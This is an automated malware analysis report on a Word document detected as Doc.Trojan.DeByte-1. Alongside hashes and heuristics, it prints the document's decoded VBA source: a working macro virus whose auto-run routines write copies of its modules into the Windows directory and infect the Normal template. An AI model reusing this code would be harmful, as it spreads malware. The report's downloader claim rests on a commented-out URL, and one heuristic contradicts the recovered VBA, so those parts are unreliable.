Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f8b3f4d0069dfc1…

MALICIOUS

Office (OLE)

38.0 KB Created: 2001-05-12 03:45:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: fd5eb630b8ff31929c731f176d94d06d SHA-1: 8af81d26c16ebbdd341d9a4c8f74a0381e4f72c7 SHA-256: 8f8b3f4d0069dfc141db3d1aeeef136696ee6f053a864854bb4a8a3c3c653ae0
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and AutoClose functions, indicative of malicious intent. The 'FileOpen' macro attempts to export several VBA components, including the 'Dead_Byte' macro, to the Windows directory as .sys files. The 'Dead_Byte' macro itself contains a commented-out URL, 'http://www.deadbyte.narod.ru', which is likely the source of a second-stage payload. This suggests a macro-based downloader attack.

Heuristics 6

  • ClamAV: Doc.Trojan.DeByte-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.DeByte-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.deadbyte.narod.ru In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5104 bytes
SHA-256: aa5550f4f0ccc7d533e628536e1b122d1174ef49abab3568a047d106dfbd5473
Detection
ClamAV: Doc.Trojan.DeByte-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Dead_Byte"
Sub Dead_Byte()
   'http://www.deadbyte.narod.ru
   
End Sub

Attribute VB_Name = "FileOpen"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub FileOpen()
Dim winda As String
Dim test_normal As Byte
Dim t As Byte

t = 0
Dialogs(wdDialogFileOpen).Show
For Each VbComponent In ActiveDocument.VBProject.VBComponents
    If VbComponent.Name = "Dead_Byte" Then t = 255
Next

If t = 0 Then GoTo ok

test_normal = 0
winda = "                                                                           "
n = GetWindowsDirectory(winda, 255)
winda = Left$(winda, n)

ActiveDocument.VBProject.VBComponents("Dead_Byte").Export winda + "\wdrv1.sys"
ActiveDocument.VBProject.VBComponents("FileOpen").Export winda + "\wdrv2.sys"
ActiveDocument.VBProject.VBComponents("AutoOpen").Export winda + "\wdrv3.sys"
ActiveDocument.VBProject.VBComponents("AutoClose").Export winda + "\wdrv4.sys"
ActiveDocument.VBProject.VBComponents("FileClose").Export winda + "\wdrv5.sys"

For i = 1 To WordBasic.CountMacros(0, 0)
 If WordBasic.[MacroName$](i, 0, 0) = "Dead_Byte" Then test_normal = 255
Next i

If test_normal = 255 Then GoTo ok
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Dead_Byte", "Normal:Dead_Byte"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileOpen", "Normal:FileOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileClose", "Normal:FileClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Normal:AutoClose"
ok:
End Sub


Attribute VB_Name = "autoopen"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Sub Autoopen()
Dim winda As String
Dim test_normal As Byte

test_normal = 0
winda = "                                                                           "
n = GetWindowsDirectory(winda, 255)
winda = Left$(winda, n)

ActiveDocument.VBProject.VBComponents("Dead_Byte").Export winda + "\wdrv1.sys"
ActiveDocument.VBProject.VBComponents("FileOpen").Export winda + "\wdrv2.sys"
ActiveDocument.VBProject.VBComponents("Autoopen").Export winda + "\wdrv3.sys"
ActiveDocument.VBProject.VBComponents("AutoClose").Export winda + "\wdrv4.sys"
ActiveDocument.VBProject.VBComponents("FileClose").Export winda + "\wdrv5.sys"

For i = 1 To WordBasic.CountMacros(0, 0)
 If WordBasic.[MacroName$](i, 0, 0) = "Dead_Byte" Then test_normal = 255
Next i

If test_normal = 255 Then GoTo ok
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Dead_Byte", "Normal:Dead_Byte"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileOpen", "Normal:FileOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Fileclose", "Normal:FileClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":Autoclose", "Normal:AutoClose"
ok:
End Sub


Attribute VB_Name = "autoclose"
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub AutoClose()
Dim vir_test As Byte
Dim winda As String

vir_test = 0
For Each VbComponent In ActiveDocument.VBProject.VBComponents
    If VbComponent.Name = "Dead_Byte" Then vir_test = 255
Next
If vir_test = 255 Then GoTo V_ok

winda = "                                                                           "
n = GetWindowsDirectory(winda, 255)
winda = Left$(winda, n)
ActiveDocument.VBProject.VBComponents.Import winda + "\wdrv1.sys"
ActiveDocument.VBProject.VBComponents.Import winda + "\wdrv2.sys"
ActiveDocument.VBProject.VBComponents.Import winda + "\wdrv3.sys"
ActiveDocument.VBProject.VBComponents.Import winda + "\wdrv4.sys"
ActiveDocument.VBProject.VBComponents.Import winda + "\wdrv
... (truncated)